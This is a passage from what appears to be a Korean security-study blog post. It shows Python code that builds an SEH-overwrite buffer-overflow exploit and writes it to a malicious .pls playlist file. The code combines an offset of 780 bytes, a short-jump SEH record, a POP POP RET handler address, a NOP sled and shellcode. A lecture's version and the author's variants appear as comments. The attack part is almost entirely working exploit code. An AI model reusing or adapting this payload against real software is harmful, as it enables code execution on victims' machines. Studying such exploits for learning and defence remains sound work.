x9Ly0Ly1Ly2Ly3Ly4Ly5Ly6Ly7Ly8Ly9Lz0Lz1Lz2Lz3Lz4Lz5Lz6Lz7Lz8Lz9Ma0Ma1Ma2Ma3Ma4Ma5Ma6Ma7Ma8Ma9Mb0Mb1Mb2Mb3Mb4Mb5Mb6Mb7Mb8Mb9Mc0Mc1Mc2Mc3Mc4Mc5Mc6Mc7Mc8Mc9Md0Md1Md2Md3Md4Md5Md6Md7Md8Md9Me0Me1Me2Me3Me4Me5Me6Me7Me8Me9Mf0Mf1Mf2Mf3Mf4Mf5Mf6Mf7Mf8Mf9Mg0Mg1Mg2Mg3Mg4Mg5Mg6Mg7Mg8Mg9Mh0Mh1Mh2Mh3Mh4Mh5Mh6Mh7Mh8Mh9Mi0Mi1Mi2Mi3Mi4Mi5Mi6Mi7Mi8Mi9Mj0Mj1Mj2Mj3Mj4Mj5Mj6Mj7Mj8Mj9Mk0Mk1Mk2Mk3Mk4Mk5Mk6Mk7Mk8Mk9Ml0Ml1Ml2Ml3Ml4Ml5Ml6Ml7Ml8Ml9Mm0Mm1Mm2Mm3Mm4Mm5Mm6Mm7Mm8Mm9Mn0Mn1Mn2Mn3Mn4Mn5Mn6Mn7Mn8Mn9Mo0Mo1Mo2Mo3Mo4Mo5Mo6Mo7Mo8Mo9Mp0Mp1Mp2Mp3Mp4Mp5Mp6Mp7Mp8Mp9Mq0Mq1Mq2Mq3Mq4Mq5Mq6Mq7Mq8Mq9Mr0Mr1Mr2Mr3Mr4Mr5Mr6Mr7Mr8Mr9Ms0Ms1Ms2Ms3Ms4Ms5Ms6Ms7Ms8Ms9Mt0Mt1Mt2Mt3Mt4Mt5Mt6Mt7Mt8Mt9Mu0Mu1Mu2Mu3Mu4Mu5Mu6Mu7Mu8Mu9Mv0Mv1Mv2M"

# 784 offset == SEH HANDLER 

 

# lecture author choi sun

#seh_next = struct.pack('<L',0x909010EB) # SEH_NEXT

#seh_handler = struct.pack('<L',0x00407A9D) # SEH_HANDLER => POP POP RET

#payload = "A" * (784-4) + seh_next + seh_handler + "\x90" * 15 + buf + "B" * 6000 

 

# my_idea

#seh_next = struct.pack('<L',0x90909090) # SEH_NEXT

#seh_handler = struct.pack('<L',0xFFFFFFFF) # SEH_HANDLER

# pop pop ret == seh_handler

# pop pop ret => !mona seh => must safe SEH = failed

#seh_handler = struct.pack('<L',0x0040793f) # SEH_HANDLER => POP POP RET

#payload = "A" * (784-4) + seh_next + seh_handler +  buf + "B" * 6000

#seh_next = struct.pack('<L',0x90909090)

#seh_handler = struct.pack('<L',0x0040793F)

#payload = "A" * (784-4) + seh_next + seh_handler + buf + "B" * 6000

 

seh_next = struct.pack('<L',0x909012EB)

seh_handler = struct.pack('<L',0x0040793F)

payload = "A" * 780 + seh_next + seh_handler + "\x90" * 15 + buf + "B" * 6000

 

#f = open("test.m3u", "wb")

f = open("RE_myidea04.pls","wb")

f.write(payload[:6000]) #until 6000byte

f.close()

 

 

'0x04 pwnable > 윈도우즈 어플리케이션 취약점 분석' 카테고리의 다른 글

ROP2  (0) 2018.01.17
DEP 그리고 ROP (AKA 준나 어렵네)  (0) 2018.01.11
SEH Handler 공부  (0) 2018.01.09
SEH 기초공부 1  (0) 2018.01.09
GS 기초 공부 1  (0) 2018.01.09